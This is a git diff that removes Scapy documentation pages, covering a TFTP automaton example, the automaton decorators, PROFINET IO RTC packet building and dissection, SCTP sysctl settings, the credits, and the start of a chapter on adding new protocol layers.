- self.sport = sport
-
- def master_filter(self, pkt):
- return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
- and pkt[UDP].dport == self.my_tid
- and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )
-
- # BEGIN
- @ATMT.state(initial=1)
- def BEGIN(self):
- self.blocksize=512
- self.my_tid = self.sport or RandShort()._fix()
- bind_bottom_up(UDP, TFTP, dport=self.my_tid)
- self.server_tid = None
- self.res = ""
-
- self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
- self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet")
- self.send(self.last_packet)
- self.awaiting=1
-
- raise self.WAITING()
-
- # WAITING
- @ATMT.state()
- def WAITING(self):
- pass
-
- @ATMT.receive_condition(WAITING)
- def receive_data(self, pkt):
- if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:
- if self.server_tid is None:
- self.server_tid = pkt[UDP].sport
- self.l3[UDP].dport = self.server_tid
- raise self.RECEIVING(pkt)
- @ATMT.action(receive_data)
- def send_ack(self):
- self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)
- self.send(self.last_packet)
-
- @ATMT.receive_condition(WAITING, prio=1)
- def receive_error(self, pkt):
- if TFTP_ERROR in pkt:
- raise self.ERROR(pkt)
-
- @ATMT.timeout(WAITING, 3)
- def timeout_waiting(self):
- raise self.WAITING()
- @ATMT.action(timeout_waiting)
- def retransmit_last_packet(self):
- self.send(self.last_packet)
-
- # RECEIVED
- @ATMT.state()
- def RECEIVING(self, pkt):
- recvd = pkt[Raw].load
- self.res += recvd
- self.awaiting += 1
- if len(recvd) == self.blocksize:
- raise self.WAITING()
- raise self.END()
-
- # ERROR
- @ATMT.state(error=1)
- def ERROR(self,pkt):
- split_bottom_up(UDP, TFTP, dport=self.my_tid)
- return pkt[TFTP_ERROR].summary()
-
- #END
- @ATMT.state(final=1)
- def END(self):
- split_bottom_up(UDP, TFTP, dport=self.my_tid)
- return self.res
-
-It can be run like this, for instance::
-
- >>> TFTP_read("my_file", "192.168.1.128").run()
-
-Detailed documentation
-----------------------
-
-Decorators
-^^^^^^^^^^
-Decorator for states
-~~~~~~~~~~~~~~~~~~~~
-
-States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicate that the state is an initial, final or error state.
-
-::
-
- class Example(Automaton):
- @ATMT.state(initial=1)
- def BEGIN(self):
- pass
-
- @ATMT.state()
- def SOME_STATE(self):
- pass
-
- @ATMT.state(final=1)
- def END(self):
- return "Result of the automaton: 42"
-
- @ATMT.state(error=1)
- def ERROR(self):
- return "Partial result, or explanation"
- # [...]
-
-Decorators for transitions
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order.
-
-When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called.
-
-::
-
- class Example(Automaton):
- @ATMT.state()
- def WAITING(self):
- pass
-
- @ATMT.condition(WAITING)
- def it_is_raining(self):
- if not self.have_umbrella:
- raise self.ERROR_WET()
-
- @ATMT.receive_condition(WAITING, prio=1)
- def it_is_ICMP(self, pkt):
- if ICMP in pkt:
- raise self.RECEIVED_ICMP(pkt)
-
- @ATMT.receive_condition(WAITING, prio=2)
- def it_is_IP(self, pkt):
- if IP in pkt:
- raise self.RECEIVED_IP(pkt)
-
- @ATMT.timeout(WAITING, 10.0)
- def waiting_timeout(self):
- raise self.ERROR_TIMEOUT()
-
-Decorator for actions
-~~~~~~~~~~~~~~~~~~~~~
-
-Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions.
-
-::
-
- class Example(Automaton):
- @ATMT.state(initial=1)
- def BEGIN(self):
- pass
-
- @ATMT.state(final=1)
- def END(self):
- pass
-
- @ATMT.condition(BEGIN, prio=1)
- def maybe_go_to_end(self):
- if random() > 0.5:
- raise self.END()
- @ATMT.condition(BEGIN, prio=2)
- def certainly_go_to_end(self):
- raise self.END()
-
- @ATMT.action(maybe_go_to_end)
- def maybe_action(self):
- print "We are lucky..."
- @ATMT.action(certainly_go_to_end)
- def certainly_action(self):
- print "We are not lucky..."
- @ATMT.action(maybe_go_to_end, prio=1)
- @ATMT.action(certainly_go_to_end, prio=1)
- def always_action(self):
- print "This wasn't luck!..."
-
-The two possible outputs are::
-
- >>> a=Example()
- >>> a.run()
- We are not lucky...
- This wasn't luck!...
- >>> a.run()
- We are lucky...
- This wasn't luck!...
-
-Methods to overload
-^^^^^^^^^^^^^^^^^^^
-
-Two methods are hooks to be overloaded:
-
-* The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton.
-
-* The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition.
-
-PROFINET IO RTC
-===============
-
-PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols.
-
-RTC data packet
----------------
-
-The first thing to do when building the RTC ``data`` buffer is to instanciate each Scapy packet which represents a piece of data. Each one of them may require some specific piece of configuration, such as its length. All packets and their configuration are:
-
-* ``PNIORealTimeRawData``: a simple raw data like ``Raw``
-
- * ``length``: defines the length of the data
-
-* ``Profisafe``: the PROFIsafe profile to perform functional safety
-
- * ``length``: defines the length of the whole packet
- * ``CRC``: defines the length of the CRC, either ``3`` or ``4``
-
-* ``PNIORealTimeIOxS``: either an IO Consumer or Provider Status byte
-
- * Doesn't require any configuration
-
-To instanciate one of these packets with its configuration, the ``config`` argument must be given. It is a ``dict()`` which contains all the required piece of configuration::
-
- >>> load_contrib('pnio_rtc')
- >>> raw(PNIORealTimeRawData(load='AAA', config={'length': 4}))
- 'AAA\x00'
- >>> raw(Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}))
- 'AAA\x00 BBB'
- >>> hexdump(PNIORealTimeIOxS())
- 0000 80 .
-
-
-RTC packet
-----------
-
-Now that a data packet can be instanciated, a whole RTC packet may be built. ``PNIORealTime`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be
-able to dissect it::
-
- >>> load_contrib("pnio_rtc")
- >>> p=PNIORealTime(cycleCounter=1024, data=[
- ... PNIORealTimeIOxS(),
- ... PNIORealTimeRawData(load='AAA', config={'length':4}) / PNIORealTimeIOxS(),
- ... Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}) / PNIORealTimeIOxS(),
- ... ])
- >>> p.show()
- ###[ PROFINET Real-Time ]###
- len= None
- dataLen= None
- \data\
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0
- | extension= 0
- |###[ PNIO RTC Raw data ]###
- | load= 'AAA'
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0
- | extension= 0
- |###[ PROFISafe ]###
- | load= 'AAA'
- | Control_Status= 0x20
- | CRC= 0x424242
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0
- | extension= 0
- padding= ''
- cycleCounter= 1024
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
-
- >>> p.show2()
- ###[ PROFINET Real-Time ]###
- len= 44
- dataLen= 15
- \data\
- |###[ PNIO RTC Raw data ]###
- | load= '\x80AAA\x00\x80AAA\x00 BBB\x80'
- padding= ''
- cycleCounter= 1024
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
-
-For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs["PNIO_RTC"]`` which can be updated with the ``pnio_update_config`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst)`` as key, to be able to separate the configuration of each communication. Each value is then a list of a tuple which describes a data packet. It is composed of the negative index, from the end of the data buffer, of the packet position, the class of the packet as second item and the ``config`` dictionary to provide to the class as last. If we continue the previous example, here is the configuration to set::
-
- >>> load_contrib("pnio")
- >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO() / p
- >>> e.show2()
- ###[ Ethernet ]###
- dst= 06:07:08:09:0a:0b
- src= 00:01:02:03:04:05
- type= 0x8892
- ###[ ProfinetIO ]###
- frameID= RT_CLASS_1
- ###[ PROFINET Real-Time ]###
- len= 44
- dataLen= 15
- \data\
- |###[ PNIO RTC Raw data ]###
- | load= '\x80AAA\x00\x80AAA\x00 BBB\x80'
- padding= ''
- cycleCounter= 1024
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
- >>> pnio_update_config({('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [
- ... (-9, Profisafe, {'length': 8, 'CRC': 3}),
- ... (-9 - 5, PNIORealTimeRawData, {'length':4}),
- ... ]})
- >>> e.show2()
- ###[ Ethernet ]###
- dst= 06:07:08:09:0a:0b
- src= 00:01:02:03:04:05
- type= 0x8892
- ###[ ProfinetIO ]###
- frameID= RT_CLASS_1
- ###[ PROFINET Real-Time ]###
- len= 44
- dataLen= 15
- \data\
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PNIO RTC Raw data ]###
- | load= 'AAA'
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PROFISafe ]###
- | load= 'AAA'
- | Control_Status= 0x20
- | CRC= 0x424242L
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- padding= ''
- cycleCounter= 1024
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
-
-If no data packets are configured for a given offset, it defaults to a ``PNIORealTimeIOxS``. However, this method is not very convenient for the user to configure the layer and it only affects the dissection of packets. In such cases, one may have access to several RTC packets, sniffed or retrieved from a PCAP file. Thus, ``PNIORealTime`` provides some methods to analyse a list of ``PNIORealTime`` packets and locate all data in it, based on simple heuristics. All of them take as first argument an iterable which contains the list of packets to analyse.
-
-* ``PNIORealTime.find_data()`` analyses the data buffer and separate real data from IOxS. It returns a dict which can be provided to ``pnio_update_config``.
-* ``PNIORealTime.find_profisafe()`` analyses the data buffer and find the PROFIsafe profiles among the real data. It returns a dict which can be provided to ``pnio_update_config``.
-* ``PNIORealTime.analyse_data()`` executes both previous methods and update the configuration. **This is usually the method to call.**
-* ``PNIORealTime.draw_entropy()`` will draw the entropy of each byte in the data buffer. It can be used to easily visualize PROFIsafe locations as entropy is the base of the decision algorithm of ``find_profisafe``.
-
-::
-
- >>> load_contrib('pnio_rtc')
- >>> t=rdpcap('/path/to/trace.pcap', 1024)
- >>> PNIORealTime.analyse_data(t)
- {('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [(-19, <class 'scapy.contrib.pnio_rtc.PNIORealTimeRawData'>, {'length': 1}), (-15, <class 'scapy.contrib.pnio_rtc.Profisafe'>, {'CRC': 3, 'length': 6}), (-7, <class 'scapy.contrib.pnio_rtc.Profisafe'>, {'CRC': 3, 'length': 5})]}
- >>> t[100].show()
- ###[ Ethernet ]###
- dst= 06:07:08:09:0a:0b
- src= 00:01:02:03:04:05
- type= n_802_1Q
- ###[ 802.1Q ]###
- prio= 6L
- id= 0L
- vlan= 0L
- type= 0x8892
- ###[ ProfinetIO ]###
- frameID= RT_CLASS_1
- ###[ PROFINET Real-Time ]###
- len= 44
- dataLen= 22
- \data\
- |###[ PNIO RTC Raw data ]###
- | load= '\x80\x80\x80\x80\x80\x80\x00\x80\x80\x80\x12:\x0e\x12\x80\x80\x00\x12\x8b\x97\xe3\x80'
- padding= ''
- cycleCounter= 6208
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
-
- >>> t[100].show2()
- ###[ Ethernet ]###
- dst= 06:07:08:09:0a:0b
- src= 00:01:02:03:04:05
- type= n_802_1Q
- ###[ 802.1Q ]###
- prio= 6L
- id= 0L
- vlan= 0L
- type= 0x8892
- ###[ ProfinetIO ]###
- frameID= RT_CLASS_1
- ###[ PROFINET Real-Time ]###
- len= 44
- dataLen= 22
- \data\
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- [...]
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PNIO RTC Raw data ]###
- | load= ''
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- [...]
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PROFISafe ]###
- | load= ''
- | Control_Status= 0x12
- | CRC= 0x3a0e12L
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- |###[ PROFISafe ]###
- | load= ''
- | Control_Status= 0x12
- | CRC= 0x8b97e3L
- |###[ PNIO RTC IOxS ]###
- | dataState= good
- | instance= subslot
- | reserved= 0x0L
- | extension= 0L
- padding= ''
- cycleCounter= 6208
- dataStatus= primary+validData+run+no_problem
- transferStatus= 0
-
-In addition, one can see, when displaying a ``PNIORealTime`` packet, the field ``len``. This is a computed field which is not added in the final packet build. It is mainly useful for dissection and reconstruction, but it can also be used to modify the behaviour of the packet. In fact, RTC packet must always be long enough for an Ethernet frame and to do so, a padding must be added right after the ``data`` buffer. The default behaviour is to add ``padding`` whose size is computed during the ``build`` process::
-
- >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()]))
- '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
-
-However, one can set ``len`` to modify this behaviour. ``len`` controls the length of the whole ``PNIORealTime`` packet. Then, to shorten the length of the padding, ``len`` can be set to a lower value::
-
- >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=50))
- '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
- >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()]))
- '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
- >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=30))
- '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
-
-
-SCTP
-====
-
-SCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The `RFC 3286 <https://tools.ietf.org/html/rfc3286>`_ introduces it and its description lays in the `RFC 4960 <https://tools.ietf.org/html/rfc4960>`_.
-
-It is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance.
-
-
-Enabling dynamic addressing reconfiguration and chunk authentication capabilities
----------------------------------------------------------------------------------
-
-If you are trying to discuss with SCTP servers, you may be interested in capabilities added in `RFC 4895 <https://tools.ietf.org/html/rfc4895>`_ which describe how to authenticated some SCTP chunks, and/or `RFC 5061 <https://tools.ietf.org/html/rfc5061>`_ to dynamically reconfigure the IP address of a SCTP association.
-
-These capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation.
-
-To enable the RFC 4895 about authenticating chunks::
-
- $ sudo echo 1 > /proc/sys/net/sctp/auth_enable
-
-To enable the RFC 5061 about dynamic address reconfiguration::
-
- $ sudo echo 1 > /proc/sys/net/sctp/addip_enable
-
-You may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication::
-
- $ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enable
diff --git a/doc/scapy/backmatter.rst b/doc/scapy/backmatter.rst
deleted file mode 100644
index a4340c54..00000000
--- a/doc/scapy/backmatter.rst
+++ /dev/null
@@ -1,10 +0,0 @@
-
-*********
-Credits
-*********
-
-- Philippe Biondi is Scapy's author. He has also written most of the documentation.
-- Pierre Lalet and Guillaume Valadon are the current most active maintainers and contributors.
-- Fred Raynal wrote the chapter on building and dissecting packets.
-- Peter Kacherginsky contributed several tutorial sections, one-liners and recipes.
-- Dirk Loss integrated and restructured the existing docs to make this book.
diff --git a/doc/scapy/build_dissect.rst b/doc/scapy/build_dissect.rst
deleted file mode 100644
index 6469b735..00000000
--- a/doc/scapy/build_dissect.rst
+++ /dev/null
@@ -1,1127 +0,0 @@
-********************
-Adding new protocols
-********************
-
-Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the
-fields you need are already there and the protocol is not too brain-damaged,
-this should be a matter of minutes.
-
-Simple example
-==============
-
-A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation
-is hold by the ``Packet`` class and will be inherited.
-A simple layer is compounded by a list of fields that will be either concatenated
-when assembling the layer or dissected one by one when disassembling a string.
-The list of fields is held in an attribute named ``fields_desc``. Each field is an instance
-of a field class::
-
- class Disney(Packet):
- name = "DisneyPacket "
- fields_desc=[ ShortField("mickey",5),
- XByteField("minnie",3) ,
- IntEnumField("donald" , 1 ,
- { 1: "happy", 2: "cool" , 3: "angry" } ) ]
-
-In this example, our layer has three fields. The first one is an 2 byte integer
-field named ``mickey`` and whose default value is 5. The second one is a 1 byte
-integer field named ``minnie`` and whose default value is 3. The difference between
-a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the preferred human
-representation of the field’s value is in hexadecimal. The last field is a 4 byte
-integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact
-that some of the possible values of the field have literate representations. For
-example, if it is worth 3, the value will be displayed as angry. Moreover, if the
-"cool" value is assigned to this field, it will understand that it has to take the
-value 2.
-
-If your protocol is as simple as this, it is ready to use::
-
- >>> d=Disney(mickey=1)
- >>> ls(d)
- mickey : ShortField = 1 (5)
- minnie : XByteField = 3 (3)
- donald : IntEnumField = 1 (1)
- >>> d.show()
- ###[ Disney Packet ]###
- mickey= 1
- minnie= 0x3
- donald= happy
- >>> d.donald="cool"
- >>> raw(d)
- ’\x00\x01\x03\x00\x00\x00\x02’
- >>> Disney( )
- <Disney mickey=1 minnie=0x3 donald=cool |>
-
-
-This chapter explains how to build a new protocol within Scapy. There are two main objectives:
-
-* Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals.
-* Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it.
-
-Layers
-======
-
-Before digging into dissection itself, let us look at how packets are
-organized.
-
-::
-
- >>> p = IP()/TCP()/"AAAA"
- >>> p
- <IP frag=0 proto=TCP |<TCP |<Raw load='AAAA' |>>>
- >>> p.summary()
- 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw'
-
-We are interested in 2 "inside" fields of the class ``Packet``:
-
-* ``p.underlayer``
-* ``p.payload``
-
-And here is the main "trick". You do not care about packets, only
-about layers, stacked one after the other.
-
-One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP``
-and followings layers. This is a shortcut for ``p.getlayer(TCP)``.
-
-.. note::
- There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol.
-
-Let's put everything together now, playing with the ``TCP`` layer::
-
- >>> tcp=p[TCP]
- >>> tcp.underlayer
- <IP frag=0 proto=TCP |<TCP |<Raw load='AAAA' |>>>
- >>> tcp.payload
- <Raw load='AAAA' |>
-
-As expected, ``tcp.underlayer`` points to the beginning of our IP packet,
-and ``tcp.payload`` to its payload.
-
-Building a new layer
---------------------
-
-.. index::
- single: Layer
-
-VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition::
-
- class UDP(Packet):
- name = "UDP"
- fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES),
- ShortEnumField("dport", 53, UDP_SERVICES),
- ShortField("len", None),
- XShortField("chksum", None), ]
-
-And you are done! There are many fields already defined for
-convenience, look at the doc``^W`` sources as Phil would say.
-
-So, defining a layer is simply gathering fields in a list. The goal is
-here to provide the efficient default values for each field so the
-user does not have to give them when he builds a packet.
-
-The main mechanism is based on the ``Field`` structure. Always keep in
-mind that a layer is just a little more than a list of fields, but not
-much more.
-
-So, to understanding how layers are working, one needs to look quickly
-at how the fields are handled.
-
-
-Manipulating packets == manipulating its fields
------------------------------------------------
-
-.. index::
- single: i2h()
- single: i2m()
- single: m2i()
-
-A field should be considered in different states:
-
-- ``i`` (nternal) : this is the way Scapy manipulates it.
-- ``m`` (achine) : this is where the truth is, that is the layer as it is
- on the network.
-- ``h`` (uman) : how the packet is displayed to our human eyes.
-
-This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on
-available in each field: they are conversion from one state to
-another, adapted to a specific use.
-
-Other special functions:
-
-- ``any2i()`` guess the input representation and returns the internal one.
-- ``i2repr()`` a nicer ``i2h()``
-
-However, all these are "low level" functions. The functions adding or
-extracting a field to the current layer are:
-
-- ``addfield(self, pkt, s, val)``: copy the network representation of
- field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``::
-
- class StrFixedLenField(StrField):
- def addfield(self, pkt, s, val):
- return s+struct.pack("%is"%self.length,self.i2m(pkt, val))
-
-- ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field
- value belonging to layer ``pkt``. It returns a list, the 1st element
- is the raw packet string after having removed the extracted field,
- the second one is the extracted field itself in internal
- representation::
-
- class StrFixedLenField(StrField):
- def getfield(self, pkt, s):
- return s[self.length:], self.m2i(pkt,s[:self.length])
-
-When defining your own layer, you usually just need to define some
-``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``.
-
-
-Example: variable length quantities
------------------------------------
-
-There is way to represent integers on a variable length quantity often
-used in protocols, for instance when dealing with signal processing
-(e.g. MIDI).
-
-Each byte of the number is coded with the MSB set to 1, except the
-last byte. For instance, 0x123456 will be coded as 0xC8E856::
-
- def vlenq2str(l):
- s = []
- s.append( hex(l & 0x7F) )
- l = l >> 7
- while l>0:
- s.append( hex(0x80 | (l & 0x7F) ) )
- l = l >> 7
- s.reverse()
- return "".join(chr(int(x, 16)) for x in s)
-
- def str2vlenq(s=""):
- i = l = 0
- while i<len(s) and ord(s[i]) & 0x80:
- l = l << 7
- l = l + (ord(s[i]) & 0x7F)
- i = i + 1
- if i == len(s):
- warning("Broken vlenq: no ending byte")
- l = l << 7
- l = l + (ord(s[i]) & 0x7F)
-
- return s[i+1:], l
-
-We will define a field which computes automatically the length of a
-associated string, but used that encoding format::
-
- class VarLenQField(Field):
- """ variable length quantities """
-
- def __init__(self, name, default, fld):
- Field.__init__(self, name, default)
- self.fld = fld
-
- def i2m(self, pkt, x):
- if x is None:
- f = pkt.get_field(self.fld)
- x = f.i2len(pkt, pkt.getfieldval(self.fld))
- x = vlenq2str(x)
- return raw(x)
-
- def m2i(self, pkt, x):
- if s is None:
- return None, 0
- return str2vlenq(x)[1]
-
- def addfield(self, pkt, s, val):
- return s+self.i2m(pkt, val)
-
- def getfield(self, pkt, s):
- return str2vlenq(s)
-
-And now, define a layer using this kind of field::
-
- class FOO(Packet):
- name = "FOO"
- fields_desc = [ VarLenQField("len", None, "data"),
- StrLenField("data", "", "len") ]
-
- >>> f = FOO(data="A"*129)
- >>> f.show()
- ###[ FOO ]###
- len= 0
- data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
-
-Here, ``len`` is not yet computed and only the default value are
-displayed. This is the current internal representation of our
-layer. Let's force the computation now::
-
- >>> f.show2()
- ###[ FOO ]###
- len= 129
- data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
-
-The method ``show2()`` displays the fields with their values as they will
-be sent to the network, but in a human readable way, so we see ``len=129``.
-Last but not least, let us look now at the machine representation::
-
- >>> raw(f)
- '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
-
-The first 2 bytes are ``\x81\x01``, which is 129 in this encoding.
-
-
-
-Dissecting
-==========
-.. index::
- dissecting
-
-Layers are only list of fields, but what is the glue between each
-field, and after, between each layer. These are the mysteries explain
-in this section.
-
-The basic stuff
----------------
-
-The core function for dissection is ``Packet.dissect()``::
-
- def dissect(self, s):
- s = self.pre_dissect(s)
- s = self.do_dissect(s)
- s = self.post_dissect(s)
- payl,pad = self.extract_padding(s)
- self.do_dissect_payload(payl)
- if pad and conf.padding:
- self.add_payload(Padding(pad))
-
-When called, ``s`` is a string containing what is going to be
-dissected. ``self`` points to the current layer.
-
-::
-
- >>> p=IP("A"*20)/TCP("B"*32)
- WARNING: bad dataofs (4). Assuming dataofs=5
- >>> p
- <IP version=4L ihl=1L tos=0x41 len=16705 id=16705 flags=DF frag=321L ttl=65 proto=65 chksum=0x4141
- src=65.65.65.65 dst=65.65.65.65 |<TCP sport=16962 dport=16962 seq=1111638594L ack=1111638594L dataofs=4L
- reserved=2L flags=SE window=16962 chksum=0x4242 urgptr=16962 options=[] |<Raw load='BBBBBBBBBBBB' |>>>
-
-``Packet.dissect()`` is called 3 times:
-
-1. to dissect the ``"A"*20`` as an IPv4 header
-2. to dissect the ``"B"*32`` as a TCP header
-3. and since there are still 12 bytes in the packet, they are
- dissected as "``Raw``" data (which is some kind of default layer type)
-
-
-For a given layer, everything is quite straightforward:
-
-- ``pre_dissect()`` is called to prepare the layer.
-- ``do_dissect()`` perform the real dissection of the layer.
-- ``post_dissection()`` is called when some updates are needed on the
- dissected inputs (e.g. deciphering, uncompressing, ... )
-- ``extract_padding()`` is an important function which should be called
- by every layer containing its own size, so that it can tell apart
- in the payload what is really related to this layer and what will
- be considered as additional padding bytes.
-- ``do_dissect_payload()`` is the function in charge of dissecting the
- payload (if any). It is based on ``guess_payload_class()`` (see
- below). Once the type of the payload is known, the payload is bound
- to the current layer with this new type::
-
- def do_dissect_payload(self, s):
- cls = self.guess_payload_class(s)
- p = cls(s, _internal=1, _underlayer=self)
- self.add_payload(p)
-
-At the end, all the layers in the packet are dissected, and glued
-together with their known types.
-
-
-Dissecting fields
------------------
-
-The method with all the magic between a layer and its fields is
-``do_dissect()``. If you have understood the different representations of
-a layer, you should understand that "dissecting" a layer is building
-each of its fields from the machine to the internal representation.
-
-Guess what? That is exactly what ``do_dissect()`` does::
-
- def do_dissect(self, s):
- flist = self.fields_desc[:]
- flist.reverse()
- while s and flist:
- f = flist.pop()
- s,fval = f.getfield(self, s)
- self.fields[f] = fval
- return s
-
-So, it takes the raw string packet, and feed each field with it, as
-long as there are data or fields remaining::
-
- >>> FOO("\xff\xff"+"B"*8)
- <FOO len=2097090 data='BBBBBBB' |>
-
-When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first
-field is VarLenQField. Thus, it takes bytes as long as their MSB is
-set, thus until (and including) the first '``B``'. This mapping is done
-thanks to ``VarLenQField.getfield()`` and can be cross-checked::
-
- >>> vlenq2str(2097090)
- '\xff\xffB'
-
-Then, the next field is extracted the same way, until 2097090 bytes
-are put in ``FOO.data`` (or less if 2097090 bytes are not available, as
-here).
-
-If there are some bytes left after the dissection of the current
-layer, it is mapped in the same way to the what the next is expected
-to be (``Raw`` by default)::
-
- >>> FOO("\x05"+"B"*8)
- <FOO len=5 data='BBBBB' |<Raw load='BBB' |>>
-
-Hence, we need now to understand how layers are bound together.
-
-Binding layers
---------------
-
-One of the cool features with Scapy when dissecting layers is that is
-try to guess for us what the next layer is. The official way to link 2
-layers is using ``bind_layers()`` function.
-
-Available inside the ``packet`` module, this function can be used as following::
-
